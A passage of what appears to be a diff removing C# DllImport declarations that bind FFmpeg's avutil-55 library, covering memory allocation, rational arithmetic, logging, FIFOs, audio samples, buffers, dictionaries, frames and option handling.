av_reallocp(void* ptr, ulong size); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void* av_realloc_array(void* ptr, ulong nmemb, ulong size); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_reallocp_array(void* ptr, ulong nmemb, ulong size); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_free(void* ptr); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void* av_mallocz(ulong size); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void* av_calloc(ulong nmemb, ulong size); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern sbyte* av_strdup([MarshalAs(UnmanagedType.LPStr)] string s); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern sbyte* av_strndup([MarshalAs(UnmanagedType.LPStr)] string s, ulong len); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void* av_memdup(void* p, ulong size); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_freep(void* ptr); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_dynarray_add(void* tab_ptr, int* nb_ptr, void* elem); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_dynarray_add_nofree(void* tab_ptr, int* nb_ptr, void* elem); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void* av_dynarray2_add(void** tab_ptr, int* nb_ptr, ulong elem_size, sbyte* elem_data); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern void av_max_alloc(ulong max); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_memcpy_backptr(sbyte* dst, int back, int cnt); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void* av_fast_realloc(void* ptr, uint* size, ulong min_size); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_fast_malloc(void* ptr, uint* size, ulong min_size); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_fast_mallocz(void* ptr, uint* size, ulong min_size); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_reduce(int* dst_num, int* dst_den, long num, long den, long max); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern AVRational av_mul_q(AVRational b, AVRational c); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern AVRational av_div_q(AVRational b, AVRational c); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern AVRational av_add_q(AVRational b, AVRational c); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern AVRational av_sub_q(AVRational b, AVRational c); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern AVRational av_d2q(double d, int max); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern int av_nearer_q(AVRational q, AVRational q1, AVRational q2); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_find_nearest_q_idx(AVRational q, AVRational* q_list); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern uint av_q2intfloat(AVRational q); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern long av_gcd(long a, long b); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern long av_rescale(long a, long b, long c); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern long av_rescale_rnd(long a, long b, long c, AVRounding param3); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern long av_rescale_q(long a, AVRational bq, AVRational cq); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern long av_rescale_q_rnd(long a, AVRational bq, AVRational cq, AVRounding param3); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern int av_compare_ts(long ts_a, AVRational tb_a, long ts_b, AVRational tb_b); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern long av_compare_mod(ulong a, ulong b, ulong mod); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern long av_rescale_delta(AVRational in_tb, long in_ts, AVRational fs_tb, int duration, long* last, AVRational out_tb); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern long av_add_stable(AVRational ts_tb, long ts, AVRational inc_tb, long inc); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_log(void* avcl, int level, [MarshalAs(UnmanagedType.LPStr)] string fmt); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_vlog(void* avcl, int level, [MarshalAs(UnmanagedType.LPStr)] string fmt, sbyte* vl); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern int av_log_get_level(); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern void av_log_set_level(int level); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_log_set_callback(IntPtr* callback); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_log_default_callback(void* avcl, int level, [MarshalAs(UnmanagedType.LPStr)] string fmt, sbyte* vl); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern string av_default_item_name(void* ctx); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVClassCategory av_default_get_category(void* ptr); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_log_format_line(void* ptr, int level, [MarshalAs(UnmanagedType.LPStr)] string fmt, sbyte* vl, IntPtr line, int line_size, int* print_prefix); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern void av_log_set_flags(int arg); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern int av_log_get_flags(); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern uint av_int_list_length_for_size(uint elsize, void* list, ulong term); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern _iobuf* av_fopen_utf8([MarshalAs(UnmanagedType.LPStr)] string path, [MarshalAs(UnmanagedType.LPStr)] string mode); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern AVRational av_get_time_base_q(); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVFifoBuffer* av_fifo_alloc(uint size); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVFifoBuffer* av_fifo_alloc_array(ulong nmemb, ulong size); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_fifo_free(AVFifoBuffer* f); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_fifo_freep(AVFifoBuffer** f); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_fifo_reset(AVFifoBuffer* f); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_fifo_size(AVFifoBuffer* f); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_fifo_space(AVFifoBuffer* f); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_fifo_generic_peek_at(AVFifoBuffer* f, void* dest, int offset, int buf_size, IntPtr* func); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_fifo_generic_peek(AVFifoBuffer* f, void* dest, int buf_size, IntPtr* func); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_fifo_generic_read(AVFifoBuffer* f, void* dest, int buf_size, IntPtr* func); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_fifo_generic_write(AVFifoBuffer* f, void* src, int size, IntPtr* func); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_fifo_realloc2(AVFifoBuffer* f, uint size); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_fifo_grow(AVFifoBuffer* f, uint additional_space); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_fifo_drain(AVFifoBuffer* f, int size); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern string av_get_sample_fmt_name(AVSampleFormat sample_fmt); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern AVSampleFormat av_get_sample_fmt([MarshalAs(UnmanagedType.LPStr)] string name); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern AVSampleFormat av_get_alt_sample_fmt(AVSampleFormat sample_fmt, int planar); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern AVSampleFormat av_get_packed_sample_fmt(AVSampleFormat sample_fmt); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern AVSampleFormat av_get_planar_sample_fmt(AVSampleFormat sample_fmt); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern sbyte* av_get_sample_fmt_string(IntPtr buf, int buf_size, AVSampleFormat sample_fmt); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern int av_get_bytes_per_sample(AVSampleFormat sample_fmt); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern int av_sample_fmt_is_planar(AVSampleFormat sample_fmt); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_samples_get_buffer_size(int* linesize, int nb_channels, int nb_samples, AVSampleFormat sample_fmt, int align); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_samples_fill_arrays(sbyte** audio_data, int* linesize, sbyte* buf, int nb_channels, int nb_samples, AVSampleFormat sample_fmt, int align); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_samples_alloc(sbyte** audio_data, int* linesize, int nb_channels, int nb_samples, AVSampleFormat sample_fmt, int align); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_samples_alloc_array_and_samples(sbyte*** audio_data, int* linesize, int nb_channels, int nb_samples, AVSampleFormat sample_fmt, int align); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_samples_copy(sbyte** dst, sbyte** src, int dst_offset, int src_offset, int nb_samples, int nb_channels, AVSampleFormat sample_fmt); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_samples_set_silence(sbyte** audio_data, int offset, int nb_samples, int nb_channels, AVSampleFormat sample_fmt); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_audio_fifo_free(AVAudioFifo* af); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVAudioFifo* av_audio_fifo_alloc(AVSampleFormat sample_fmt, int channels, int nb_samples); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_audio_fifo_realloc(AVAudioFifo* af, int nb_samples); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_audio_fifo_write(AVAudioFifo* af, void** data, int nb_samples); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_audio_fifo_peek(AVAudioFifo* af, void** data, int nb_samples); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_audio_fifo_read(AVAudioFifo* af, void** data, int nb_samples); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_audio_fifo_drain(AVAudioFifo* af, int nb_samples); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_audio_fifo_reset(AVAudioFifo* af); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_audio_fifo_size(AVAudioFifo* af); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_audio_fifo_space(AVAudioFifo* af); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern ulong av_get_channel_layout([MarshalAs(UnmanagedType.LPStr)] string name); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern void av_get_channel_layout_string(IntPtr buf, int buf_size, int nb_channels, ulong channel_layout); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_bprint_channel_layout(AVBPrint* bp, int nb_channels, ulong channel_layout); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern int av_get_channel_layout_nb_channels(ulong channel_layout); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern long av_get_default_channel_layout(int nb_channels); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern int av_get_channel_layout_channel_index(ulong channel_layout, ulong channel); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern ulong av_channel_layout_extract_channel(ulong channel_layout, int index); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern string av_get_channel_name(ulong channel); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern string av_get_channel_description(ulong channel); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_get_standard_channel_layout(uint index, ulong* layout, sbyte** name); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern int av_get_cpu_flags(); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern void av_force_cpu_flags(int flags); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern void av_set_cpu_flags_mask(int mask); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern int av_parse_cpu_flags([MarshalAs(UnmanagedType.LPStr)] string s); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_parse_cpu_caps(uint* flags, [MarshalAs(UnmanagedType.LPStr)] string s); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern int av_cpu_count(); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVBufferRef* av_buffer_alloc(int size); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVBufferRef* av_buffer_allocz(int size); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVBufferRef* av_buffer_create(sbyte* data, int size, IntPtr* free, void* opaque, int flags); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_buffer_default_free(void* opaque, sbyte* data); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVBufferRef* av_buffer_ref(AVBufferRef* buf); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_buffer_unref(AVBufferRef** buf); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_buffer_is_writable(AVBufferRef* buf); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void* av_buffer_get_opaque(AVBufferRef* buf); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_buffer_get_ref_count(AVBufferRef* buf); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_buffer_make_writable(AVBufferRef** buf); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_buffer_realloc(AVBufferRef** buf, int size); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVBufferPool* av_buffer_pool_init(int size, IntPtr* alloc); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_buffer_pool_uninit(AVBufferPool** pool); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVBufferRef* av_buffer_pool_get(AVBufferPool* pool); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVDictionaryEntry* av_dict_get(AVDictionary* m, [MarshalAs(UnmanagedType.LPStr)] string key, AVDictionaryEntry* prev, int flags); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_dict_count(AVDictionary* m); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_dict_set(AVDictionary** pm, [MarshalAs(UnmanagedType.LPStr)] string key, [MarshalAs(UnmanagedType.LPStr)] string value, int flags); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_dict_set_int(AVDictionary** pm, [MarshalAs(UnmanagedType.LPStr)] string key, long value, int flags); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_dict_parse_string(AVDictionary** pm, [MarshalAs(UnmanagedType.LPStr)] string str, [MarshalAs(UnmanagedType.LPStr)] string key_val_sep, [MarshalAs(UnmanagedType.LPStr)] string pairs_sep, int flags); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_dict_copy(AVDictionary** dst, AVDictionary* src, int flags); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_dict_free(AVDictionary** m); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_dict_get_string(AVDictionary* m, sbyte** buffer, sbyte key_val_sep, sbyte pairs_sep); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern long av_frame_get_best_effort_timestamp(AVFrame* frame); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_frame_set_best_effort_timestamp(AVFrame* frame, long val); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern long av_frame_get_pkt_duration(AVFrame* frame); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_frame_set_pkt_duration(AVFrame* frame, long val); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern long av_frame_get_pkt_pos(AVFrame* frame); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_frame_set_pkt_pos(AVFrame* frame, long val); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern long av_frame_get_channel_layout(AVFrame* frame); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_frame_set_channel_layout(AVFrame* frame, long val); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_frame_get_channels(AVFrame* frame); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_frame_set_channels(AVFrame* frame, int val); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_frame_get_sample_rate(AVFrame* frame); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_frame_set_sample_rate(AVFrame* frame, int val); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVDictionary* av_frame_get_metadata(AVFrame* frame); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_frame_set_metadata(AVFrame* frame, AVDictionary* val); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_frame_get_decode_error_flags(AVFrame* frame); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_frame_set_decode_error_flags(AVFrame* frame, int val); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_frame_get_pkt_size(AVFrame* frame); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_frame_set_pkt_size(AVFrame* frame, int val); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVDictionary** avpriv_frame_get_metadatap(AVFrame* frame); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern sbyte* av_frame_get_qp_table(AVFrame* f, int* stride, int* type); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_frame_set_qp_table(AVFrame* f, AVBufferRef* buf, int stride, int type); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVColorSpace av_frame_get_colorspace(AVFrame* frame); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_frame_set_colorspace(AVFrame* frame, AVColorSpace val); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVColorRange av_frame_get_color_range(AVFrame* frame); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_frame_set_color_range(AVFrame* frame, AVColorRange val); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern string av_get_colorspace_name(AVColorSpace val); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVFrame* av_frame_alloc(); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_frame_free(AVFrame** frame); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_frame_ref(AVFrame* dst, AVFrame* src); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVFrame* av_frame_clone(AVFrame* src); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_frame_unref(AVFrame* frame); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_frame_move_ref(AVFrame* dst, AVFrame* src); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_frame_get_buffer(AVFrame* frame, int align); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_frame_is_writable(AVFrame* frame); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_frame_make_writable(AVFrame* frame); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_frame_copy(AVFrame* dst, AVFrame* src); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_frame_copy_props(AVFrame* dst, AVFrame* src); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVBufferRef* av_frame_get_plane_buffer(AVFrame* frame, int plane); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVFrameSideData* av_frame_new_side_data(AVFrame* frame, AVFrameSideDataType type, int size); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVFrameSideData* av_frame_get_side_data(AVFrame* frame, AVFrameSideDataType type); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_frame_remove_side_data(AVFrame* frame, AVFrameSideDataType type); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern string av_frame_side_data_name(AVFrameSideDataType type); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_show2(void* obj, void* av_log_obj, int req_flags, int rej_flags); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_opt_set_defaults(void* s); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_opt_set_defaults2(void* s, int mask, int flags); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_set_options_string(void* ctx, [MarshalAs(UnmanagedType.LPStr)] string opts, [MarshalAs(UnmanagedType.LPStr)] string key_val_sep, [MarshalAs(UnmanagedType.LPStr)] string pairs_sep); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_set_from_string(void* ctx, [MarshalAs(UnmanagedType.LPStr)] string opts, string[] shorthand, [MarshalAs(UnmanagedType.LPStr)] string key_val_sep, [MarshalAs(UnmanagedType.LPStr)] string pairs_sep); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_opt_free(void* obj); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_flag_is_set(void* obj, [MarshalAs(UnmanagedType.LPStr)] string field_name, [MarshalAs(UnmanagedType.LPStr)] string flag_name); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_set_dict(void* obj, AVDictionary** options); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_set_dict2(void* obj, AVDictionary** options, int search_flags); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_get_key_value(sbyte** ropts, [MarshalAs(UnmanagedType.LPStr)] string key_val_sep, [MarshalAs(UnmanagedType.LPStr)] string pairs_sep, uint flags, sbyte** rkey, sbyte** rval); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_eval_flags(void* obj, AVOption* o, [MarshalAs(UnmanagedType.LPStr)] string val, int* flags_out); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_eval_int(void* obj, AVOption* o, [MarshalAs(UnmanagedType.LPStr)] string val, int* int_out); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_eval_int64(void* obj, AVOption* o, [MarshalAs(UnmanagedType.LPStr)] string val, long* int64_out); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_eval_float(void* obj, AVOption* o, [MarshalAs(UnmanagedType.LPStr)] string val, float* float_out); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_eval_double(void* obj, AVOption* o, [MarshalAs(UnmanagedType.LPStr)] string val, double* double_out); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_eval_q(void* obj, AVOption* o, [MarshalAs(UnmanagedType.LPStr)] string val, AVRational* q_out); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVOption* av_opt_find(void* obj, [MarshalAs(UnmanagedType.LPStr)] string name, [MarshalAs(UnmanagedType.LPStr)] string unit, int opt_flags, int search_flags); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVOption* av_opt_find2(void* obj, [MarshalAs(UnmanagedType.LPStr)] string name, [MarshalAs(UnmanagedType.LPStr)] string unit, int opt_flags, int search_flags, void** target_obj); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVOption* av_opt_next(void* obj, AVOption* prev); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void* av_opt_child_next(void* obj, void* prev); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVClass* av_opt_child_class_next(AVClass* parent, AVClass* prev); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_set(void* obj, [MarshalAs(UnmanagedType.LPStr)] string name, [MarshalAs(UnmanagedType.LPStr)] string val, int search_flags); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_set_int(void* obj, [MarshalAs(UnmanagedType.LPStr)] string name, long val, int search_flags); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_set_double(void* obj, [MarshalAs(UnmanagedType.LPStr)] string name, double val, int search_flags); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_set_q(void* obj, [MarshalAs(UnmanagedType.LPStr)] string name, AVRational val, int search_flags); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_set_bin(void* obj, [MarshalAs(UnmanagedType.LPStr)] string name, sbyte* val, int size, int search_flags); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_set_image_size(void* obj, [MarshalAs(UnmanagedType.LPStr)] string name, int w, int h, int search_flags); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_set_pixel_fmt(void* obj, 